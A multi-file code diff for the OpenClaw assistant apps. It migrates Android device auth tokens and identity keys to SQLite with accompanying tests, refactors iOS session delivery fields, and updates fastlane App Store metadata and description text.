}
}

View File

@@ -11,10 +11,6 @@ import androidx.compose.ui.text.font.FontFamily
import androidx.compose.ui.text.font.FontWeight
import androidx.compose.ui.unit.sp
// ---------------------------------------------------------------------------
// MobileColors semantic color tokens with light + dark variants
// ---------------------------------------------------------------------------
internal data class MobileColors(
val surface: Color,
val surfaceStrong: Color,
@@ -108,9 +104,6 @@ internal object MobileColorsAccessor {
@Composable get() = LocalMobileColors.current
}
// ---------------------------------------------------------------------------
// Backward-compatible top-level accessors (composable getters)
// ---------------------------------------------------------------------------
// These allow existing call sites to keep using `mobileSurface`, `mobileText`, etc.
// without converting every file at once. Each resolves to the themed value.
@@ -149,10 +142,6 @@ internal val mobileBackgroundGradient: Brush
)
}
// ---------------------------------------------------------------------------
// Typography tokens (theme-independent)
// ---------------------------------------------------------------------------
internal val mobileFontFamily =
FontFamily(
Font(resId = R.font.manrope_400_regular, weight = FontWeight.Normal),

View File

@@ -270,7 +270,7 @@ private fun providerPriority(provider: String): Int =
"google" -> 2
"openrouter" -> 3
"ollama", "ollama-local" -> 4
"codex", "openai-codex" -> 5
"codex" -> 5
else -> 100
}

View File

@@ -130,9 +130,10 @@ class GatewayBootstrapAuthTest {
android.content.Context.MODE_PRIVATE,
)
val prefs = SecurePrefs(app, securePrefsOverride = securePrefs)
val runtime = NodeRuntime(app, prefs)
val authStore = DeviceAuthStore(app, legacyPrefsOverride = prefs)
val runtime = NodeRuntime(app, prefs, deviceAuthStore = authStore)
val deviceId = DeviceIdentityStore(app).loadOrCreate().deviceId
DeviceAuthStore(prefs).saveToken(deviceId, "operator", "bootstrap-operator-token")
authStore.saveToken(deviceId, "operator", "bootstrap-operator-token")
writeField(runtime, "operatorStatusText", "Connecting…")
invokeMaybeStartOperatorSessionAfterNodeConnect(
@@ -192,6 +193,7 @@ class GatewayBootstrapAuthTest {
app,
prefs,
tlsFingerprintProbe = { _, _ -> GatewayTlsProbeResult(fingerprintSha256 = "fp:1") },
deviceAuthStore = DeviceAuthStore(app, legacyPrefsOverride = prefs),
)
val endpoint = GatewayEndpoint.manual(host = "gateway.example", port = 18789)
val explicitAuth =
@@ -326,9 +328,9 @@ class GatewayBootstrapAuthTest {
android.content.Context.MODE_PRIVATE,
)
val prefs = SecurePrefs(app, securePrefsOverride = securePrefs)
val runtime = NodeRuntime(app, prefs)
val authStore = DeviceAuthStore(app, legacyPrefsOverride = prefs)
val runtime = NodeRuntime(app, prefs, deviceAuthStore = authStore)
val deviceId = DeviceIdentityStore(app).loadOrCreate().deviceId
val authStore = DeviceAuthStore(prefs)
prefs.setGatewayToken("stale-shared-token")
prefs.setGatewayBootstrapToken("stale-bootstrap-token")
prefs.setGatewayPassword("stale-password")

View File

@@ -4,27 +4,28 @@ import ai.openclaw.app.SecurePrefs
import android.content.Context
import org.junit.Assert.assertEquals
import org.junit.Assert.assertNotNull
import org.junit.Assert.assertNull
import org.junit.Assert.assertTrue
import org.junit.Before
import org.junit.Test
import org.junit.runner.RunWith
import org.robolectric.RobolectricTestRunner
import org.robolectric.RuntimeEnvironment
import org.robolectric.annotation.Config
import java.util.UUID
import java.io.File
@RunWith(RobolectricTestRunner::class)
@Config(sdk = [34])
class DeviceAuthStoreTest {
@Before
fun resetState() {
File(RuntimeEnvironment.getApplication().filesDir, "openclaw").deleteRecursively()
}
@Test
fun saveTokenPersistsNormalizedScopesMetadata() {
fun saveTokenPersistsNormalizedScopesMetadataInSQLite() {
val app = RuntimeEnvironment.getApplication()
val securePrefs =
app.getSharedPreferences(
"openclaw.node.secure.test.${UUID.randomUUID()}",
Context.MODE_PRIVATE,
)
val prefs = SecurePrefs(app, securePrefsOverride = securePrefs)
val store = DeviceAuthStore(prefs)
val store = DeviceAuthStore(app, legacyPrefsOverride = legacyPrefs(app))
store.saveToken(
deviceId = " Device-1 ",
@@ -39,25 +40,255 @@ class DeviceAuthStoreTest {
assertEquals("operator", entry?.role)
assertEquals(listOf("operator.read", "operator.write"), entry?.scopes)
assertTrue((entry?.updatedAtMs ?: 0L) > 0L)
val row = OpenClawSQLiteStateStore(app).readDeviceAuthToken("device-1", "operator")
assertNotNull(row)
assertEquals("__openclaw_secure_prefs__", row?.token)
assertEquals("""["operator.read","operator.write"]""", row?.scopesJson)
}
@Test
fun loadEntryReadsLegacyTokenWithoutMetadata() {
fun clearTokenUpdatesSQLiteStore() {
val app = RuntimeEnvironment.getApplication()
val securePrefs =
app.getSharedPreferences(
"openclaw.node.secure.test.${UUID.randomUUID()}",
Context.MODE_PRIVATE,
)
val prefs = SecurePrefs(app, securePrefsOverride = securePrefs)
prefs.putString("gateway.deviceToken.device-1.operator", "legacy-token")
val store = DeviceAuthStore(prefs)
val store = DeviceAuthStore(app, legacyPrefsOverride = legacyPrefs(app))
store.saveToken("device-1", "operator", "operator-token", scopes = listOf("operator.read"))
store.clearToken("device-1", "operator")
assertNull(store.loadEntry("device-1", "operator"))
assertNull(OpenClawSQLiteStateStore(app).readDeviceAuthToken("device-1", "operator"))
}
@Test
fun loadEntryMigratesLegacySecurePrefsToken() {
val app = RuntimeEnvironment.getApplication()
val prefs = legacyPrefs(app)
prefs.putString("gateway.deviceToken.device-1.operator", " operator-token ")
prefs.putString(
"gateway.deviceTokenMeta.device-1.operator",
"""{"scopes":["operator.write"," operator.read ","operator.write"],"updatedAtMs":1700000000000}""",
)
val entry = DeviceAuthStore(app, legacyPrefsOverride = prefs).loadEntry(" Device-1 ", " Operator ")
val entry = store.loadEntry("device-1", "operator")
assertNotNull(entry)
assertEquals("legacy-token", entry?.token)
assertEquals("operator-token", entry?.token)
assertEquals("operator", entry?.role)
assertEquals(emptyList<String>(), entry?.scopes)
assertEquals(0L, entry?.updatedAtMs)
assertEquals(listOf("operator.read", "operator.write"), entry?.scopes)
assertEquals(1700000000000L, entry?.updatedAtMs)
assertEquals("operator-token", prefs.getString("gateway.deviceToken.device-1.operator"))
assertNull(prefs.getString("gateway.deviceTokenMeta.device-1.operator"))
assertEquals(
"__openclaw_secure_prefs__",
OpenClawSQLiteStateStore(app).readDeviceAuthToken("device-1", "operator")?.token,
)
}
@Test
fun loadEntryMigratesAllLegacyRolesBeforeSQLiteRowsExist() {
val app = RuntimeEnvironment.getApplication()
val prefs = legacyPrefs(app)
prefs.putString("gateway.deviceToken.device-1.operator", " operator-token ")
prefs.putString(
"gateway.deviceTokenMeta.device-1.operator",
"""{"scopes":["operator.write"],"updatedAtMs":1700000000000}""",
)
prefs.putString("gateway.deviceToken.device-1.node", " node-token ")
prefs.putString(
"gateway.deviceTokenMeta.device-1.node",
"""{"scopes":["node.connect"],"updatedAtMs":1700000000001}""",
)
val store = DeviceAuthStore(app, legacyPrefsOverride = prefs)
val operator = store.loadEntry("device-1", "operator")
val node = store.loadEntry("device-1", "node")
assertEquals("operator-token", operator?.token)
assertEquals(listOf("operator.write"), operator?.scopes)
assertEquals("node-token", node?.token)
assertEquals(listOf("node.connect"), node?.scopes)
assertEquals(
"__openclaw_secure_prefs__",
OpenClawSQLiteStateStore(app).readDeviceAuthToken("device-1", "operator")?.token,
)
assertEquals(
"__openclaw_secure_prefs__",
OpenClawSQLiteStateStore(app).readDeviceAuthToken("device-1", "node")?.token,
)
}
@Test
fun loadEntryDoesNotResurrectLegacyRoleAfterSQLiteRowsExist() {
val app = RuntimeEnvironment.getApplication()
val prefs = legacyPrefs(app)
val store = DeviceAuthStore(app, legacyPrefsOverride = prefs)
store.saveToken("device-1", "operator", "operator-token", scopes = listOf("operator.write"))
prefs.putString("gateway.deviceToken.device-1.admin", " stale-admin-token ")
prefs.putString(
"gateway.deviceTokenMeta.device-1.admin",
"""{"scopes":["admin"],"updatedAtMs":1700000000000}""",
)
store.saveToken("device-1", "operator", "operator-token-2", scopes = listOf("operator.write"))
assertNull(store.loadEntry("device-1", "admin"))
assertNull(OpenClawSQLiteStateStore(app).readDeviceAuthToken("device-1", "admin"))
assertNull(prefs.getString("gateway.deviceToken.device-1.admin"))
assertNull(prefs.getString("gateway.deviceTokenMeta.device-1.admin"))
}
@Test
fun saveTokenMigratesSameDeviceLegacyRolesBeforeFirstSqliteWrite() {
val app = RuntimeEnvironment.getApplication()
val prefs = legacyPrefs(app)
prefs.putString("gateway.deviceToken.device-1.operator", " old-operator-token ")
prefs.putString("gateway.deviceToken.device-1.node", " node-token ")
prefs.putString(
"gateway.deviceTokenMeta.device-1.node",
"""{"scopes":["node.connect"],"updatedAtMs":1700000000001}""",
)
val store = DeviceAuthStore(app, legacyPrefsOverride = prefs)
store.saveToken("device-1", "operator", "operator-token", scopes = listOf("operator.write"))
assertEquals("operator-token", store.loadEntry("device-1", "operator")?.token)
assertEquals("node-token", store.loadEntry("device-1", "node")?.token)
assertEquals(
"__openclaw_secure_prefs__",
OpenClawSQLiteStateStore(app).readDeviceAuthToken("device-1", "node")?.token,
)
assertNull(prefs.getString("gateway.deviceTokenMeta.device-1.node"))
}
@Test
fun loadEntryReturnsLegacySecurePrefsTokenWhenSQLiteMigrationFails() {
val app = RuntimeEnvironment.getApplication()
val prefs = legacyPrefs(app)
val metadata = """{"scopes":["operator.read"],"updatedAtMs":1700000000000}"""
prefs.putString("gateway.deviceToken.device-1.operator", " operator-token ")
prefs.putString("gateway.deviceTokenMeta.device-1.operator", metadata)
val store =
DeviceAuthStore.createForTesting(
context = app,
legacyPrefsOverride = prefs,
stateStoreOverride = ThrowingDeviceAuthStateStore(),
)
val entry = store.loadEntry("device-1", "operator")
assertEquals("operator-token", entry?.token)
assertEquals(listOf("operator.read"), entry?.scopes)
assertEquals(1700000000000L, entry?.updatedAtMs)
assertEquals(" operator-token ", prefs.getString("gateway.deviceToken.device-1.operator"))
assertEquals(metadata, prefs.getString("gateway.deviceTokenMeta.device-1.operator"))
}
@Test
fun loadEntryMovesPlaintextSqliteTokenBackToSecurePrefs() {
val app = RuntimeEnvironment.getApplication()
val prefs = legacyPrefs(app)
OpenClawSQLiteStateStore(app).upsertDeviceAuthToken(
OpenClawSQLiteDeviceAuthTokenRow(
deviceId = "device-1",
role = "operator",
token = "operator-token",
scopesJson = """["operator.read"]""",
updatedAtMs = 1700000000000,
),
)
val entry = DeviceAuthStore(app, legacyPrefsOverride = prefs).loadEntry("device-1", "operator")
assertEquals("operator-token", entry?.token)
assertEquals("operator-token", prefs.getString("gateway.deviceToken.device-1.operator"))
assertEquals(
"__openclaw_secure_prefs__",
OpenClawSQLiteStateStore(app).readDeviceAuthToken("device-1", "operator")?.token,
)
}
@Test
fun saveTokenForDifferentDevicePurgesStaleLegacySecurePrefsTokens() {
val app = RuntimeEnvironment.getApplication()
val prefs = legacyPrefs(app)
prefs.putString("gateway.deviceToken.device-1.operator", " stale-token ")
prefs.putString(
"gateway.deviceTokenMeta.device-1.operator",
"""{"scopes":["operator.read"],"updatedAtMs":1700000000000}""",
)
val store = DeviceAuthStore(app, legacyPrefsOverride = prefs)
store.saveToken("device-2", "operator", "fresh-token", scopes = listOf("operator.write"))
assertNull(store.loadEntry("device-1", "operator"))
assertNull(prefs.getString("gateway.deviceToken.device-1.operator"))
assertNull(prefs.getString("gateway.deviceTokenMeta.device-1.operator"))
assertEquals("fresh-token", store.loadEntry("device-2", "operator")?.token)
assertEquals("fresh-token", prefs.getString("gateway.deviceToken.device-2.operator"))
assertEquals(
"__openclaw_secure_prefs__",
OpenClawSQLiteStateStore(app).readDeviceAuthToken("device-2", "operator")?.token,
)
}
@Test
fun saveTokenPrunesForeignLegacyTokensWithoutOrphaningCurrentSqliteRows() {
val app = RuntimeEnvironment.getApplication()
val prefs = legacyPrefs(app)
prefs.putString("gateway.deviceToken.device-1.operator", " operator-token ")
prefs.putString("gateway.deviceToken.device-1.node", " node-token ")
prefs.putString("gateway.deviceToken.device-2.operator", " stale-token ")
val sqlite = OpenClawSQLiteStateStore(app)
sqlite.upsertDeviceAuthToken(
OpenClawSQLiteDeviceAuthTokenRow(
deviceId = "device-1",
role = "operator",
token = "__openclaw_secure_prefs__",
scopesJson = """["operator.read"]""",
updatedAtMs = 1700000000000,
),
)
sqlite.upsertDeviceAuthToken(
OpenClawSQLiteDeviceAuthTokenRow(
deviceId = "device-1",
role = "node",
token = "__openclaw_secure_prefs__",
scopesJson = """["node.connect"]""",
updatedAtMs = 1700000000001,
),
)
val store = DeviceAuthStore(app, legacyPrefsOverride = prefs)
store.saveToken("device-1", "operator", "operator-token-2", scopes = listOf("operator.write"))
assertEquals("operator-token-2", store.loadEntry("device-1", "operator")?.token)
assertEquals("node-token", store.loadEntry("device-1", "node")?.token)
assertNull(prefs.getString("gateway.deviceToken.device-2.operator"))
}
private fun legacyPrefs(context: Context): SecurePrefs {
val prefs = context.getSharedPreferences("openclaw.node.secure.test", Context.MODE_PRIVATE)
prefs.edit().clear().commit()
return SecurePrefs(context, securePrefsOverride = prefs)
}
private class ThrowingDeviceAuthStateStore : DeviceAuthStateStore {
override fun readDeviceAuthToken(
deviceId: String,
role: String,
): OpenClawSQLiteDeviceAuthTokenRow? = null
override fun readLatestDeviceAuthDeviceId(): String? = null
override fun upsertDeviceAuthToken(row: OpenClawSQLiteDeviceAuthTokenRow) {
error("sqlite unavailable")
}
override fun deleteDeviceAuthToken(
deviceId: String,
role: String,
) = Unit
override fun deleteAllDeviceAuthTokens() = Unit
}
}

View File

@@ -0,0 +1,169 @@
package ai.openclaw.app.gateway
import android.database.sqlite.SQLiteDatabase
import org.junit.Assert.assertEquals
import org.junit.Assert.assertFalse
import org.junit.Assert.assertNotNull
import org.junit.Assert.assertTrue
import org.junit.Assert.fail
import org.junit.Before
import org.junit.Test
import org.junit.runner.RunWith
import org.robolectric.RobolectricTestRunner
import org.robolectric.RuntimeEnvironment
import org.robolectric.annotation.Config
import java.io.File
@RunWith(RobolectricTestRunner::class)
@Config(sdk = [34])
class DeviceIdentityStoreTest {
@Before
fun resetState() {
File(RuntimeEnvironment.getApplication().filesDir, "openclaw").deleteRecursively()
}
@Test
fun loadOrCreatePersistsIdentityInSQLiteWithoutJsonSidecars() {
val app = RuntimeEnvironment.getApplication()
val store = DeviceIdentityStore(app)
val first = store.loadOrCreate()
val roundTripStore = DeviceIdentityStore(app)
val second = roundTripStore.loadOrCreate()
assertEquals(first.deviceId, second.deviceId)
assertEquals(first.publicKeyRawBase64, second.publicKeyRawBase64)
val signature = roundTripStore.signPayload("payload", second)
assertNotNull(signature)
assertTrue(roundTripStore.verifySelfSignature("payload", signature ?: "", second))
assertFalse(File(app.filesDir, "openclaw/identity/device.json").exists())
assertTrue(File(app.filesDir, "openclaw/state/openclaw.sqlite").exists())
val persisted = readIdentityRow()
assertNotNull(persisted)
assertTrue(persisted?.contains("-----BEGIN PUBLIC KEY-----") == true)
assertTrue(persisted?.contains(privateKeyMarker("BEGIN")) == true)
}
@Test
fun loadOrCreateReadsTypeScriptPemIdentitySchemaFromSQLite() {
val app = RuntimeEnvironment.getApplication()
val publicKeyPem =
"""
-----BEGIN PUBLIC KEY-----
MCowBQYDK2VwAyEAA6EHv/POEL4dcN0Y50vAmWfk1jCbpQ1fHdyGZBJVMbg=
-----END PUBLIC KEY-----
""".trimIndent()
val privateKeyPem =
pemBlock(
"PRIVATE" + " KEY",
"MC4CAQAwBQYDK2VwBCIEIAABAgMEBQYHCAkKCwwNDg8QERITFBUWFxgZGhscHR4f",
)
OpenClawSQLiteStateStore(app).writeDeviceIdentity(
OpenClawSQLiteDeviceIdentityRow(
deviceId = "56475aa75463474c0285df5dbf2bcab73da651358839e9b77481b2eab107708c",
publicKeyPem = publicKeyPem,
privateKeyPem = privateKeyPem,
createdAtMs = 1_700_000_000_000L,
),
)
val identity = DeviceIdentityStore(app).loadOrCreate()
assertEquals("56475aa75463474c0285df5dbf2bcab73da651358839e9b77481b2eab107708c", identity.deviceId)
assertEquals("A6EHv/POEL4dcN0Y50vAmWfk1jCbpQ1fHdyGZBJVMbg=", identity.publicKeyRawBase64)
assertEquals("MC4CAQAwBQYDK2VwBCIEIAABAgMEBQYHCAkKCwwNDg8QERITFBUWFxgZGhscHR4f", identity.privateKeyPkcs8Base64)
assertEquals(1_700_000_000_000L, identity.createdAtMs)
}
@Test
fun loadOrCreateRejectsSQLiteIdentityWhenPrivateKeyDoesNotMatchPublicKey() {
val app = RuntimeEnvironment.getApplication()
val mismatchedPrivate = DeviceIdentityStore(app).loadOrCreate().privateKeyPkcs8Base64
File(app.filesDir, "openclaw").deleteRecursively()
OpenClawSQLiteStateStore(app).writeDeviceIdentity(
OpenClawSQLiteDeviceIdentityRow(
deviceId = "56475aa75463474c0285df5dbf2bcab73da651358839e9b77481b2eab107708c",
publicKeyPem =
"""
-----BEGIN PUBLIC KEY-----
MCowBQYDK2VwAyEAA6EHv/POEL4dcN0Y50vAmWfk1jCbpQ1fHdyGZBJVMbg=
-----END PUBLIC KEY-----
""".trimIndent(),
privateKeyPem = pemBlock("PRIVATE" + " KEY", mismatchedPrivate),
createdAtMs = 1_700_000_000_000L,
),
)
try {
DeviceIdentityStore(app).loadOrCreate()
fail("Expected mismatched SQLite identity keypair to block startup")
} catch (error: IllegalStateException) {
assertTrue(error.message?.contains("Run openclaw doctor --fix") == true)
}
}
@Test
fun loadOrCreateMigratesLegacyJsonIdentityInApp() {
val app = RuntimeEnvironment.getApplication()
val seed = DeviceIdentityStore(app).loadOrCreate()
File(app.filesDir, "openclaw").deleteRecursively()
val legacy = File(app.filesDir, "openclaw/identity/device.json")
legacy.parentFile?.mkdirs()
legacy.writeText(
"""
{
"deviceId": "stale",
"publicKeyRawBase64": "${seed.publicKeyRawBase64}",
"privateKeyPkcs8Base64": "${seed.privateKeyPkcs8Base64}",
"createdAtMs": ${seed.createdAtMs}
}
""".trimIndent(),
Charsets.UTF_8,
)
val migrated = DeviceIdentityStore(app).loadOrCreate()
assertEquals(seed.deviceId, migrated.deviceId)
assertEquals(seed.publicKeyRawBase64, migrated.publicKeyRawBase64)
assertFalse(legacy.exists())
assertTrue(File(app.filesDir, "openclaw/state/openclaw.sqlite").exists())
}
@Test
fun invalidLegacyJsonIdentityFailsClosedInsteadOfRotatingIdentity() {
val app = RuntimeEnvironment.getApplication()
val legacy = File(app.filesDir, "openclaw/identity/device.json")
legacy.parentFile?.mkdirs()
legacy.writeText("""{"deviceId":"legacy"}""", Charsets.UTF_8)
try {
DeviceIdentityStore(app).loadOrCreate()
fail("Expected invalid legacy JSON identity to block startup")
} catch (error: IllegalStateException) {
assertTrue(error.message?.contains("Run openclaw doctor --fix") == true)
}
}
private fun readIdentityRow(): String? {
val dbFile = File(RuntimeEnvironment.getApplication().filesDir, "openclaw/state/openclaw.sqlite")
return SQLiteDatabase
.openDatabase(dbFile.absolutePath, null, SQLiteDatabase.OPEN_READONLY)
.use { db ->
db
.rawQuery(
"SELECT public_key_pem, private_key_pem FROM device_identities WHERE identity_key = ?",
arrayOf("default"),
).use { cursor ->
if (cursor.moveToFirst()) "${cursor.getString(0)}\n${cursor.getString(1)}" else null
}
}
}
private fun privateKeyMarker(boundary: String): String = "-----$boundary ${"PRIVATE" + " KEY"}-----"
private fun pemBlock(
label: String,
body: String,
) = "-----BEGIN $label-----\n$body\n-----END $label-----"
}

View File

@@ -0,0 +1,21 @@
package ai.openclaw.app.node
import org.junit.Assert.assertEquals
import org.junit.Assert.assertTrue
import org.junit.Test
class DebugHandlerTest {
@Test
fun collectProcessOutputDrainsLargeStdoutBeforeWaiting() {
val process =
ProcessBuilder("sh", "-c", "yes openclaw-log-line | head -n 20000")
.redirectErrorStream(true)
.start()
val (finished, output) = collectProcessOutput(process, timeoutMs = 4_000, maxChars = 128_000)
assertTrue("expected process to finish without timing out", finished)
assertEquals(128_000, output.length)
assertTrue(output.startsWith("openclaw-log-line"))
}
}

View File

@@ -3,74 +3,66 @@ package ai.openclaw.app.node
import ai.openclaw.app.NotificationBurstLimiter
import ai.openclaw.app.NotificationForwardingPolicy
import ai.openclaw.app.NotificationPackageFilterMode
import ai.openclaw.app.gateway.OpenClawSQLiteStateStore
import ai.openclaw.app.isWithinQuietHours
import android.content.Context
import org.junit.Assert.assertEquals
import org.junit.Assert.assertFalse
import org.junit.Assert.assertNull
import org.junit.Assert.assertTrue
import org.junit.Before
import org.junit.Test
import org.junit.runner.RunWith
import org.robolectric.RobolectricTestRunner
import org.robolectric.RuntimeEnvironment
import java.io.File
@RunWith(RobolectricTestRunner::class)
class DeviceNotificationListenerServiceTest {
@Test
fun recentPackages_migratesLegacyPreferenceKey() {
@Before
fun resetState() {
val context = RuntimeEnvironment.getApplication()
val prefs = context.getSharedPreferences("openclaw.secure", Context.MODE_PRIVATE)
prefs
.edit()
.clear()
.putString("notifications.recentPackages", "com.example.one, com.example.two")
.commit()
File(context.filesDir, "openclaw").deleteRecursively()
}
@Test
fun recentPackages_readsSqliteRows() {
val context = RuntimeEnvironment.getApplication()
OpenClawSQLiteStateStore(context).replaceRecentNotificationPackages(
listOf("com.example.one", "com.example.two"),
)
val packages = DeviceNotificationListenerService.recentPackages(context)
assertEquals(listOf("com.example.one", "com.example.two"), packages)
assertEquals(
"com.example.one, com.example.two",
prefs.getString("notifications.forwarding.recentPackages", null),
)
assertFalse(prefs.contains("notifications.recentPackages"))
}
@Test
fun recentPackages_cleansUpLegacyKeyWhenNewKeyAlreadyExists() {
fun recentPackages_migratesLegacySecurePrefsRows() {
val context = RuntimeEnvironment.getApplication()
val prefs = context.getSharedPreferences("openclaw.secure", Context.MODE_PRIVATE)
prefs
context
.getSharedPreferences("openclaw.secure", android.content.Context.MODE_PRIVATE)
.edit()
.clear()
.putString("notifications.forwarding.recentPackages", "com.example.new")
.putString("notifications.recentPackages", "com.example.legacy")
.commit()
.putString("notifications." + "recentPackages", " com.example.legacy,com.example.other,com.example.legacy ")
.apply()
val packages = DeviceNotificationListenerService.recentPackages(context)
assertEquals(listOf("com.example.new"), packages)
assertNull(prefs.getString("notifications.recentPackages", null))
assertEquals(listOf("com.example.legacy", "com.example.other"), packages)
assertEquals(
listOf("com.example.legacy", "com.example.other"),
OpenClawSQLiteStateStore(context).readRecentNotificationPackages(),
)
}
@Test
fun recentPackages_trimsDedupesAndPreservesRecencyOrder() {
val context = RuntimeEnvironment.getApplication()
val prefs = context.getSharedPreferences("openclaw.secure", Context.MODE_PRIVATE)
prefs
.edit()
.clear()
.putString(
"notifications.forwarding.recentPackages",
" com.example.recent , ,com.example.other,com.example.recent, com.example.third ",
).commit()
OpenClawSQLiteStateStore(context).replaceRecentNotificationPackages(
listOf(" com.example.recent ", "", "com.example.other", "com.example.recent", "com.example.third"),
)
val packages = DeviceNotificationListenerService.recentPackages(context)
assertEquals(
listOf("com.example.recent", "com.example.other", "com.example.third"),
packages,
)
assertEquals(listOf("com.example.recent", "com.example.other", "com.example.third"), packages)
}
@Test

View File

@@ -286,7 +286,7 @@ class InvokeDispatcherTest {
getNodeCanvasHostUrl = { null },
getOperatorCanvasHostUrl = { null },
),
debugHandler = DebugHandler(appContext, DeviceIdentityStore(appContext)),
debugHandler = DebugHandler(DeviceIdentityStore(appContext)),
callLogHandler = CallLogHandler.forTesting(appContext, InvokeDispatcherFakeCallLogDataSource()),
isForeground = { true },
cameraEnabled = { cameraEnabled },
@@ -308,7 +308,6 @@ class InvokeDispatcherTest {
private fun newCameraHandler(appContext: Context): CameraHandler =
CameraHandler(
appContext = appContext,
camera = CameraCaptureManager(appContext),
externalAudioCaptureActive = MutableStateFlow(false),
showCameraHud = { _, _, _ -> },

View File

@@ -5,6 +5,8 @@
Maintenance update for the current OpenClaw release.
- Added hosted push relay defaults, realtime Talk playback, and safer WebSocket ping handling for mobile sessions.
- Updated App Store screenshots to cover Gateway pairing, Command, Chat, Talk, Agent, and Settings flows.
- Highlighted realtime Talk relay, Gateway connection status, node capabilities, push wake, and privacy controls.
## 2026.5.28 - 2026-05-28

View File

@@ -2635,8 +2635,21 @@ extension NodeAppModel {
struct SessionRow: Decodable {
var key: String
var updatedAt: Double?
var deliveryContext: DeliveryContext?
var lastChannel: String?
var lastTo: String?
var deliveryChannel: String? {
self.deliveryContext?.channel ?? self.lastChannel
}
var deliveryTo: String? {
self.deliveryContext?.to ?? self.lastTo
}
}
struct DeliveryContext: Decodable {
var channel: String?
var to: String?
}
struct SessionsListResult: Decodable {
var sessions: [SessionRow]
@@ -2659,11 +2672,13 @@ extension NodeAppModel {
let currentKey = self.mainSessionKey
let sorted = decoded.sessions.sorted { ($0.updatedAt ?? 0) > ($1.updatedAt ?? 0) }
let exactMatch = sorted.first { row in
row.key == currentKey && normalize(row.lastChannel) != nil && normalize(row.lastTo) != nil
row.key == currentKey
&& normalize(row.deliveryChannel) != nil
&& normalize(row.deliveryTo) != nil
}
let selected = exactMatch
let channel = normalize(selected?.lastChannel)
let to = normalize(selected?.lastTo)
let channel = normalize(selected?.deliveryChannel)
let to = normalize(selected?.deliveryTo)
await MainActor.run {
self.shareDeliveryChannel = channel

View File

@@ -29,6 +29,14 @@ def clear_empty_env_var(key)
ENV.delete(key) unless env_present?(ENV[key])
end
def screenshot_upload_requested?
ENV["DELIVER_SCREENSHOTS"] == "1"
end
def screenshot_paths
Dir[File.join(__dir__, "screenshots", "**", "*.png")]
end
def maybe_decode_hex_keychain_secret(value)
return value unless env_present?(value)
@@ -314,6 +322,7 @@ platform :ios do
desc "Upload App Store metadata (and optionally screenshots)"
lane :metadata do
sync_ios_versioning!
version_metadata = read_ios_version_metadata
api_key = asc_api_key
clear_empty_env_var("APP_STORE_CONNECT_API_KEY_PATH")
app_identifier = ENV["ASC_APP_IDENTIFIER"]
@@ -321,11 +330,21 @@ platform :ios do
app_identifier = nil unless env_present?(app_identifier)
app_id = nil unless env_present?(app_id)
if screenshot_upload_requested? && screenshot_paths.empty?
UI.user_error!("DELIVER_SCREENSHOTS=1 but no PNG screenshots were found under apps/ios/fastlane/screenshots.")
end
deliver_options = {
api_key: api_key,
force: true,
skip_screenshots: ENV["DELIVER_SCREENSHOTS"] != "1",
app_version: version_metadata[:short_version],
copyright: "2026 OpenClaw",
primary_category: "PRODUCTIVITY",
secondary_category: "UTILITIES",
skip_screenshots: !screenshot_upload_requested?,
skip_metadata: ENV["DELIVER_METADATA"] != "1",
skip_binary_upload: true,
overwrite_screenshots: screenshot_upload_requested?,
run_precheck_before_submit: false
}
deliver_options[:app_identifier] = app_identifier if app_identifier

View File

@@ -1,18 +1,19 @@
OpenClaw is a personal AI assistant you run on your own devices.
Pair this iPhone app with your OpenClaw Gateway to connect your phone as a secure node for voice, camera, and device automation.
Pair this iPhone app with your OpenClaw Gateway to use your phone as a secure node for chat, voice, approvals, sharing, and device-aware automation.
What you can do:
- Pair with your private OpenClaw Gateway by QR code or setup code
- Chat with your assistant from iPhone
- Use voice wake and push-to-talk
- Capture photos and short clips on request
- Record screen snippets for troubleshooting and workflows
- Use realtime Talk mode and push-to-talk
- Review Gateway action approvals from your phone
- Share text, links, and media directly from iOS into OpenClaw
- Run location-aware and device-aware automations
- Enable device capabilities such as camera, screen, location, photos, contacts, calendar, and reminders when you choose
- Receive push wakes and node status updates for connected workflows
OpenClaw is local-first: you control your gateway, keys, and configuration.
OpenClaw is local-first: you control your gateway, keys, configuration, and permissions. Device access is managed by iOS permissions and can be enabled only for the capabilities you want to use.
Getting started:
1) Set up your OpenClaw Gateway
2) Open the iOS app and pair with your gateway
3) Start using commands and automations from your phone
3) Start using chat, Talk mode, approvals, and automations from your phone

View File

@@ -1 +1 @@
openclaw,ai assistant,local ai,voice assistant,automation,gateway,chat,agent,node
openclaw,ai assistant,local ai,iphone ai,voice assistant,automation,gateway,chat,agent

View File

@@ -1 +1 @@
Run OpenClaw from your iPhone: pair with your own gateway, trigger automations, and use voice, camera, and share actions.
Pair your iPhone with your OpenClaw Gateway for chat, realtime voice, approvals, device capabilities, and private automation.

View File

@@ -1,3 +1,5 @@
Maintenance update for the current OpenClaw release.
- Added hosted push relay defaults, realtime Talk playback, and safer WebSocket ping handling for mobile sessions.
- Updated App Store screenshots to cover Gateway pairing, Command, Chat, Talk, Agent, and Settings flows.
- Highlighted realtime Talk relay, Gateway connection status, node capabilities, push wake, and privacy controls.

View File

@@ -44,6 +44,5 @@ let deepLinkKeyKey = "openclaw.deepLinkKey"
let cliInstallPromptedVersionKey = "openclaw.cliInstallPromptedVersion"
let heartbeatsEnabledKey = "openclaw.heartbeatsEnabled"
let debugPaneEnabledKey = "openclaw.debugPaneEnabled"
let debugFileLogEnabledKey = "openclaw.debug.fileLogEnabled"
let appLogLevelKey = "openclaw.debug.appLogLevel"
let voiceWakeSupported: Bool = ProcessInfo.processInfo.operatingSystemVersion.majorVersion >= 26

View File

@@ -14,7 +14,7 @@ final class CronJobsStore {
var runEntries: [CronRunLogEntry] = []
var schedulerEnabled: Bool?
var schedulerStorePath: String?
var schedulerStoreKey: String?
var schedulerNextWakeAtMs: Int?
var isLoadingJobs = false
@@ -72,7 +72,7 @@ final class CronJobsStore {
do {
if let status = try? await GatewayConnection.shared.cronStatus() {
self.schedulerEnabled = status.enabled
self.schedulerStorePath = status.storePath
self.schedulerStoreKey = status.storeKey
self.schedulerNextWakeAtMs = status.nextWakeAtMs
}
self.jobs = try await GatewayConnection.shared.cronList(includeDisabled: true)

View File

@@ -81,8 +81,8 @@ extension CronSettings {
.font(.footnote)
.foregroundStyle(.secondary)
.fixedSize(horizontal: false, vertical: true)
if let storePath = self.store.schedulerStorePath, !storePath.isEmpty {
Text(storePath)
if let storeKey = self.store.schedulerStoreKey, !storeKey.isEmpty {
Text(storeKey)
.font(.caption.monospaced())
.foregroundStyle(.secondary)
.textSelection(.enabled)

View File

@@ -57,7 +57,7 @@ extension CronSettings {
static func exerciseForTesting() {
let store = CronJobsStore(isPreview: true)
store.schedulerEnabled = false
